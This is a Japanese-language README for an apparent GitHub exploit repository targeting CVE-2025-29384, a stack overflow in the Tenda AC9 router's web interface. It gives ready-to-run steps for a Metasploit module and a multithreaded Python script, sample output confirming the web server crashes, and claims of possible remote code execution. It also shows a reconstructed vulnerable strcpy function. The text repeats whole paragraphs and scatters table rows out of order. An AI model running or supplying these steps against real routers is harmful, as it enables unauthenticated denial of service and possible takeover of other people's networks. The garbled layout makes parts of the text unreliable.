
CVE-2025-29384 の PoC
このリポジトリには、Tenda AC9 ルーター(ファームウェアバージョン V15.03.05.14_multi)で発見された深刻なスタックベースのバッファオーバーフロー脆弱性 CVE-2025-29384 に対する高度な概念実証(PoC)エクスプロイトが含まれています。この脆弱性により、認証されていないリモート攻撃者がルーターのWebサーバーをクラッシュさせ(サービス妨害、DoS)、任意のコードを実行できる可能性があります(リモートコード実行、RCE)。
このプロジェクトの目的は、エクスプロイト開発スキルを実証し、サイバーセキュリティコミュニティに貢献し、学術評価(例:サイバーセキュリティ奨学金)向けの教育的展示を提供することです。 このリポジトリには、Tenda AC9 ルーター(ファームウェアバージョン V15.03.05.14_multi)で発見された深刻なスタックベースのバッファオーバーフロー脆弱性 CVE-2025-29384 に対する高度な概念実証(PoC)エクスプロイトが含まれています。この脆弱性により、認証されていないリモート攻撃者がルーターのWebサーバーをクラッシュさせ(サービス妨害、DoS)、任意のコードを実行できる可能性があります(リモートコード実行、RCE)。
このプロジェクトの目的は、エクスプロイト開発スキルを実証し、サイバーセキュリティコミュニティに貢献し、サイバーセキュリティ奨学金などの学術評価向けの教育的展示を提供することです。
CVE-2025-29384 は、Tenda AC9 ルーターのWeb管理インターフェース、具体的には次のエンドポイントに影響を与えます:
/goform/AdvSetMacMtuWan
この脆弱性は、HTTP POST リクエストを介して処理される wanMTU パラメータに対する境界チェックの不備が原因で存在します。入力は検証なしに固定サイズのスタックバッファにコピーされるため、典型的なスタックベースのバッファオーバーフローが発生します。
脆弱な関数(仮説的な再構成)は次の構造に従います:
void process_mtu(char *input) {
char buffer[256]; // Fixed-size stack buffer
strcpy(buffer, input); // No length check, causes overflow
// Process MTU value...
}
過大なペイロード(例:1024バイト以上)を送信する攻撃者は、関数のリターンアドレスを含む隣接メモリを上書きし、コード実行につながる可能性があります。
Tenda AC9 は、次の仕様を持つデュアルバンドワイヤレスルーターです:
このリポジトリには、CVE-2025-29384 用の RubyベースのMetasploitモジュールも含まれています。このモジュールはMetasploit Frameworkとシームレスに統合され、msfconsole を使用して脆弱性を悪用できます。
git clone https://github.com/Otsmane-Ahmed/cve-2025-29384-poc
cd cve-2025-29384-poc
Rubyモジュールファイルを見つけ、Metasploitのエクスプロイトディレクトリにコピーします:
cp tenda_ac9_stack_overflow.rb ~/.msf4/modules/exploits/linux/http/
注: ディレクトリが存在しない場合は作成します:
mkdir -p ~/.msf4/modules/exploits/linux/http/
Metasploit Frameworkを起動します:
msfconsole
モジュールをロードします:
use exploit/linux/http/tenda_ac9_stack_overflow
ターゲットIPアドレスを設定します:
set RHOSTS <target_ip>
ペイロードサイズを設定します(オプション、デフォルトは1024):
set PAYLOAD_SIZE 2048
エクスプロイトを実行します:
run
[*] Targeting Tenda AC9 at 192.168.0.1:80...
[*] Sending payload of size 2048...
[+] Payload sent successfully!
[*] Response: HTTP/1.1 200 OK...
成功: ルーターのWebサーバーがクラッシュし、サービス妨害(DoS)状態を引き起こします。
失敗: ルーターが引き続き動作している場合、脆弱性がないか、パッチ適用済みのファームウェアバージョンを実行している可能性があります。
このPoCは、/goform/AdvSetMacMtuWan に過大な入力を送信してバッファオーバーフローをトリガーし、Webサーバーをクラッシュさせ、RCEの可能性を示すPythonベースのエクスプロイトです。
マルチスレッド – 信頼性向上のため、複数の同時エクスプロイト試行を実行します。
動的ペイロード – ランダム化されたbase64エンコードの攻撃文字列を生成します。
ロギング – Pythonのロギングモジュールを使用した構造化デバッグを実現します。
カスタマイズ可能なパラメータ – ターゲットIP、ペイロードサイズ、スレッド数を調整します。
このPoCは、/goform/AdvSetMacMtuWan に過大な入力を送信してバッファオーバーフローをトリガーし、WebサーバーをクラッシュさせるPythonベースのエクスプロイトです。
python poc.py --target <router_ip> --size 2048 --threads 10
| 引数 | 説明 |
|---|---|
--target | ルーターのIPアドレス(デフォルト: 192.168.0.1) |
[+] CVE-2025-29384 Exploit Engine
[INFO] Target: 192.168.0.1
[INFO] Sending payload (2048 bytes)...
[WARNING] Target timeout - possible crash!
[INFO] Exploit sequence completed.
成功: ルーターのWebインターフェースが応答しなくなります(DoS状態)。
失敗: ルーターが引き続き応答します(脆弱性がないか、ファームウェアが間違っている)。
エクスプロイトがルーターを正常にクラッシュさせたことを確認するには、Webインターフェースの再読み込みを試みます。応答しなくなった場合、攻撃は成功しています。さらに分析するには、ネットワークログで接続の切断を確認するか、ping を使用してデバイスの応答性を確認します。
このプロジェクトは教育および倫理的なハッキング目的のみを意図しています。このエクスプロイトの不正使用は違法です。作者は、このコードの誤用または損害について責任を負いません。
Otsmane Ahmed によって ❤️ を込めて開発されました このプロジェクトは教育および倫理的なハッキング目的のみを意図しています。このエクスプロイトの不正使用は違法です。作者は、このコードの誤用または損害について責任を負いません。
このプロジェクトはMITライセンスの下で公開されています。
| メトリック | 値 |
|---|
| 攻撃ベクトル | ネットワーク |
| 攻撃の複雑さ | 低 |
| 必要な特権 | なし |
| ユーザー操作 | なし |
| 機密性への影響 | 高 |
| 完全性への影響 | 高 |
| 可用性への影響 | 高 |
--size |
ペイロードサイズ(バイト単位)(デフォルト: 1024) |
--threads | 同時スレッド数(デフォルト: 5) |